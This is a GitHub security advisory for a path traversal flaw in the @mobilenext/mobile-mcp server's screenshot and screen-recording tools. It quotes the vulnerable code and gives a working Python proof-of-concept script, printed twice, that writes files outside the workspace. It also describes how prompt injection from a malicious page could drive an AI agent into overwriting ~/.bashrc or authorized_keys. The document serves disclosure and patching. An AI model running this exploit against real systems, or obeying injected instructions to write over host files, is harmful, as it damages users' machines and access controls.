GHSA-3P2M-H2V6-G9MX
Vulnerability from github – Published: 2026-03-27 19:13 – Updated: 2026-03-30 20:18Summary
The @mobilenext/mobile-mcp server contains a Path Traversal vulnerability in the mobile_save_screenshot and mobile_start_screen_recording tools. The saveTo and output parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace.
Details
File: src/server.ts (lines 584-592)
tool(
"mobile_save_screenshot",
"Save Screenshot",
"Save a screenshot of the mobile device to a file",
{
device: z.string().describe("The device identifier..."),
saveTo: z.string().describe("The path to save the screenshot to"),
},
{ destructiveHint: true },
async ({ device, saveTo }) => {
const robot = getRobotFromDevice(device);
const screenshot = await robot.getScreenshot();
fs.writeFileSync(saveTo, screenshot); // ← VULNERABLE: No path validation
return `Screenshot saved to: ${saveTo}`;
},
);
Root Cause
The saveTo parameter is passed directly to fs.writeFileSync() without any validation. The codebase has validation functions for other parameters (validatePackageName, validateLocale in src/utils.ts) but no path validation function exists.
Additional Affected Tool
File: src/server.ts (lines 597-620)
The mobile_start_screen_recording tool has the same vulnerability in its output parameter.
PoC
#!/usr/bin/env python3
import json
import os
import subprocess
import sys
import time
from datetime import datetime
SERVER_CMD = ["npx", "-y", "@mobilenext/mobile-mcp@latest"]
STARTUP_DELAY = 4
REQUEST_DELAY = 0.5
def log(level, msg):
print(f"[{level.upper()}] {msg}")
def send_jsonrpc(proc, msg, timeout=REQUEST_DELAY):
"""Send JSON-RPC message and receive response."""
try:
proc.stdin.write(json.dumps(msg) + "\n")
proc.stdin.flush()
time.sleep(timeout)
line = proc.stdout.readline()
return json.loads(line) if line else None
except Exception as e:
log("error", f"Communication error: {e}")
return None
def send_notification(proc, method, params=None):
"""Send JSON-RPC notification (no response expected)."""
msg = {"jsonrpc": "2.0", "method": method}
if params:
msg["params"] = params
proc.stdin.write(json.dumps(msg) + "\n")
proc.stdin.flush()
def start_server():
"""Start the mobile-mcp server."""
log("info", "Starting mobile-mcp server...")
try:
proc = subprocess.Popen(
SERVER_CMD,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
)
time.sleep(STARTUP_DELAY)
if proc.poll() is not None:
stderr = proc.stderr.read()
log("error", f"Server failed to start: {stderr[:200]}")
return None
log("info", f"Server started (PID: {proc.pid})")
return proc
except FileNotFoundError:
log("error", "npx not found. Please install Node.js")
return None
def initialize_session(proc):
"""Initialize MCP session with handshake."""
log("info", "Initializing MCP session...")
resp = send_jsonrpc(
proc,
{
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "mcpsec-exploit", "version": "1.0"},
},
},
)
if not resp or "error" in resp:
log("error", f"Initialize failed: {resp}")
return False
send_notification(proc, "notifications/initialized")
time.sleep(0.5)
server_info = resp.get("result", {}).get("serverInfo", {})
log("info", f"Session initialized - Server: {server_info.get('name')} v{server_info.get('version')}")
return True
def get_devices(proc):
"""Get list of connected devices."""
log("info", "Enumerating connected devices...")
resp = send_jsonrpc(
proc,
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {"name": "mobile_list_available_devices", "arguments": {}},
},
)
if resp:
content = resp.get("result", {}).get("content", [{}])[0].get("text", "")
try:
devices = json.loads(content).get("devices", [])
return devices
except:
log("warning", f"Could not parse device list: {content[:100]}")
return []
def exploit_path_traversal(proc, device_id, target_path):
"""Execute path traversal exploit."""
log("info", f"Target path: {target_path}")
resp = send_jsonrpc(
proc,
{
"jsonrpc": "2.0",
"id": 100,
"method": "tools/call",
"params": {
"name": "mobile_save_screenshot",
"arguments": {"device": device_id, "saveTo": target_path},
},
},
timeout=2,
)
if resp:
content = resp.get("result", {}).get("content", [{}])
if isinstance(content, list) and content:
text = content[0].get("text", "")
log("info", f"Server response: {text[:100]}")
check_path = target_path
if target_path.startswith(".."):
check_path = os.path.normpath(os.path.join(os.getcwd(), target_path))
if os.path.exists(check_path):
size = os.path.getsize(check_path)
log("info", f"FILE WRITTEN: {check_path} ({size} bytes)")
return True, check_path, size
elif "Screenshot saved" in text:
log("info", f"Server confirmed write (file may be at relative path)")
return True, target_path, 0
log("warning", "Exploit may have failed or file not accessible")
return False, target_path, 0
def main():
device_id = sys.argv[1] if len(sys.argv) > 1 else None
proc = start_server()
if not proc:
sys.exit(1)
try:
if not initialize_session(proc):
sys.exit(1)
if not device_id:
devices = get_devices(proc)
if devices:
log("info", f"Found {len(devices)} device(s):")
for d in devices:
print(f" - {d.get('id')} - {d.get('name')} ({d.get('platform')}, {d.get('state')})")
device_id = devices[0].get("id")
log("info", f"Using device: {device_id}")
else:
log("error", "No devices found. Please connect a device and try again.")
log("info", "Usage: python3 exploit.py <device_id>")
sys.exit(1)
home = os.path.expanduser("~")
exploits = [
"../../exploit_2_traversal.png",
f"{home}/exploit.png",
f"{home}/.poc_dotfile",
]
results = []
for target in exploits:
success, path, size = exploit_path_traversal(proc, device_id, target)
results.append((target, success, path, size))
finally:
proc.terminate()
log("info", "Server terminated.")
if __name__ == "__main__":
main()
Impact
A Prompt Injection attack from a malicious website or document could trick the AI into overwriting sensitive host files (e.g., ~/.bashrc, ~/.ssh/authorized_keys, or .config files) leading to a broken shell.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@mobilenext/mobile-mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.49"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33989"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T19:13:17Z",
"nvd_published_at": "2026-03-27T22:16:22Z",
"severity": "HIGH"
},
"details": "### Summary\nThe `@mobilenext/mobile-mcp` server contains a Path Traversal vulnerability in the `mobile_save_screenshot` and `mobile_start_screen_recording` tools. The `saveTo` and `output` parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace.\n\n### Details\n**File:** `src/server.ts` (lines 584-592)\n\n```typescript\ntool(\n \"mobile_save_screenshot\",\n \"Save Screenshot\",\n \"Save a screenshot of the mobile device to a file\",\n {\n device: z.string().describe(\"The device identifier...\"),\n saveTo: z.string().describe(\"The path to save the screenshot to\"),\n },\n { destructiveHint: true },\n async ({ device, saveTo }) =\u003e {\n const robot = getRobotFromDevice(device);\n const screenshot = await robot.getScreenshot();\n fs.writeFileSync(saveTo, screenshot); // \u2190 VULNERABLE: No path validation\n return `Screenshot saved to: ${saveTo}`;\n },\n);\n```\n\n### Root Cause\n\nThe `saveTo` parameter is passed directly to `fs.writeFileSync()` without any validation. The codebase has validation functions for other parameters (`validatePackageName`, `validateLocale` in `src/utils.ts`) but **no path validation function exists**.\n\n### Additional Affected Tool\n\n**File:** `src/server.ts` (lines 597-620)\n\nThe `mobile_start_screen_recording` tool has the same vulnerability in its `output` parameter.\n\n### PoC\n```py\n#!/usr/bin/env python3\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport time\nfrom datetime import datetime\n\nSERVER_CMD = [\"npx\", \"-y\", \"@mobilenext/mobile-mcp@latest\"]\nSTARTUP_DELAY = 4\nREQUEST_DELAY = 0.5\n\n\ndef log(level, msg):\n print(f\"[{level.upper()}] {msg}\")\n\n\ndef send_jsonrpc(proc, msg, timeout=REQUEST_DELAY):\n \"\"\"Send JSON-RPC message and receive response.\"\"\"\n try:\n proc.stdin.write(json.dumps(msg) + \"\\n\")\n proc.stdin.flush()\n time.sleep(timeout)\n line = proc.stdout.readline()\n return json.loads(line) if line else None\n except Exception as e:\n log(\"error\", f\"Communication error: {e}\")\n return None\n\n\ndef send_notification(proc, method, params=None):\n \"\"\"Send JSON-RPC notification (no response expected).\"\"\"\n msg = {\"jsonrpc\": \"2.0\", \"method\": method}\n if params:\n msg[\"params\"] = params\n proc.stdin.write(json.dumps(msg) + \"\\n\")\n proc.stdin.flush()\n\n\ndef start_server():\n \"\"\"Start the mobile-mcp server.\"\"\"\n log(\"info\", \"Starting mobile-mcp server...\")\n\n try:\n proc = subprocess.Popen(\n SERVER_CMD,\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n text=True,\n )\n time.sleep(STARTUP_DELAY)\n\n if proc.poll() is not None:\n stderr = proc.stderr.read()\n log(\"error\", f\"Server failed to start: {stderr[:200]}\")\n return None\n\n log(\"info\", f\"Server started (PID: {proc.pid})\")\n return proc\n\n except FileNotFoundError:\n log(\"error\", \"npx not found. Please install Node.js\")\n return None\n\n\ndef initialize_session(proc):\n \"\"\"Initialize MCP session with handshake.\"\"\"\n log(\"info\", \"Initializing MCP session...\")\n\n resp = send_jsonrpc(\n proc,\n {\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"initialize\",\n \"params\": {\n \"protocolVersion\": \"2024-11-05\",\n \"capabilities\": {},\n \"clientInfo\": {\"name\": \"mcpsec-exploit\", \"version\": \"1.0\"},\n },\n },\n )\n\n if not resp or \"error\" in resp:\n log(\"error\", f\"Initialize failed: {resp}\")\n return False\n\n send_notification(proc, \"notifications/initialized\")\n time.sleep(0.5)\n\n server_info = resp.get(\"result\", {}).get(\"serverInfo\", {})\n log(\"info\", f\"Session initialized - Server: {server_info.get(\u0027name\u0027)} v{server_info.get(\u0027version\u0027)}\")\n return True\n\n\ndef get_devices(proc):\n \"\"\"Get list of connected devices.\"\"\"\n log(\"info\", \"Enumerating connected devices...\")\n\n resp = send_jsonrpc(\n proc,\n {\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\"name\": \"mobile_list_available_devices\", \"arguments\": {}},\n },\n )\n\n if resp:\n content = resp.get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\", \"\")\n try:\n devices = json.loads(content).get(\"devices\", [])\n return devices\n except:\n log(\"warning\", f\"Could not parse device list: {content[:100]}\")\n\n return []\n\n\ndef exploit_path_traversal(proc, device_id, target_path):\n \"\"\"Execute path traversal exploit.\"\"\"\n log(\"info\", f\"Target path: {target_path}\")\n\n resp = send_jsonrpc(\n proc,\n {\n \"jsonrpc\": \"2.0\",\n \"id\": 100,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"mobile_save_screenshot\",\n \"arguments\": {\"device\": device_id, \"saveTo\": target_path},\n },\n },\n timeout=2,\n )\n\n if resp:\n content = resp.get(\"result\", {}).get(\"content\", [{}])\n if isinstance(content, list) and content:\n text = content[0].get(\"text\", \"\")\n log(\"info\", f\"Server response: {text[:100]}\")\n\n check_path = target_path\n if target_path.startswith(\"..\"):\n check_path = os.path.normpath(os.path.join(os.getcwd(), target_path))\n\n if os.path.exists(check_path):\n size = os.path.getsize(check_path)\n log(\"info\", f\"FILE WRITTEN: {check_path} ({size} bytes)\")\n return True, check_path, size\n elif \"Screenshot saved\" in text:\n log(\"info\", f\"Server confirmed write (file may be at relative path)\")\n return True, target_path, 0\n\n log(\"warning\", \"Exploit may have failed or file not accessible\")\n return False, target_path, 0\n\n\ndef main():\n device_id = sys.argv[1] if len(sys.argv) \u003e 1 else None\n\n proc = start_server()\n if not proc:\n sys.exit(1)\n\n try:\n if not initialize_session(proc):\n sys.exit(1)\n\n if not device_id:\n devices = get_devices(proc)\n if devices:\n log(\"info\", f\"Found {len(devices)} device(s):\")\n for d in devices:\n print(f\" - {d.get(\u0027id\u0027)} - {d.get(\u0027name\u0027)} ({d.get(\u0027platform\u0027)}, {d.get(\u0027state\u0027)})\")\n device_id = devices[0].get(\"id\")\n log(\"info\", f\"Using device: {device_id}\")\n else:\n log(\"error\", \"No devices found. Please connect a device and try again.\")\n log(\"info\", \"Usage: python3 exploit.py \u003cdevice_id\u003e\")\n sys.exit(1)\n\n home = os.path.expanduser(\"~\")\n\n exploits = [\n \"../../exploit_2_traversal.png\",\n f\"{home}/exploit.png\",\n f\"{home}/.poc_dotfile\",\n ]\n\n results = []\n for target in exploits:\n success, path, size = exploit_path_traversal(proc, device_id, target)\n results.append((target, success, path, size))\n\n finally:\n proc.terminate()\n log(\"info\", \"Server terminated.\")\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n### Impact\nA Prompt Injection attack from a malicious website or document could trick the AI into overwriting sensitive host files (e.g., `~/.bashrc`, `~/.ssh/authorized_keys`, or `.config` files) leading to a broken shell.",
"id": "GHSA-3p2m-h2v6-g9mx",
"modified": "2026-03-30T20:18:39Z",
"published": "2026-03-27T19:13:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mobile-next/mobile-mcp/security/advisories/GHSA-3p2m-h2v6-g9mx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33989"
},
{
"type": "WEB",
"url": "https://github.com/mobile-next/mobile-mcp/commit/f5e32295903128c1e71cf915ae6c0b76c7b0153b"
},
{
"type": "PACKAGE",
"url": "https://github.com/mobile-next/mobile-mcp"
},
{
"type": "WEB",
"url": "https://github.com/mobile-next/mobile-mcp/releases/tag/0.0.49"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "@mobilenext/mobile-mcp alllows arbitrary file write via Path Traversal in mobile screen capture tools"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.